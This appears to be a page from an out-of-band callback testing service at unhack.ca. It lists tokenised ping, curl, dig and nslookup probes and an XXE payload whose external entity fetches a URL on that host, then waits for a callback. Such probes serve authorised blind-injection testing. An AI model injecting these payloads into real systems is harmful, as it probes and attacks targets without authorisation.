$ ping -c1 -p 00efcccb4af38a3199656eab34e89f00 unhack.ca
 
$ curl http://unhack.ca/p/efcccb4af38a3199656eab34e89f
 
$ dig efcccb4af38a3199656eab34e89f @unhack.ca
 
$ dig efcccb4af38a3199656eab34e89f.ns.unhack.ca
 
C:\> nslookup efcccb4af38a3199656eab34e89f unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/efcccb4af38a3199656eab34e89f">]>
    <foo>&xxe;</foo>
Waiting for ping...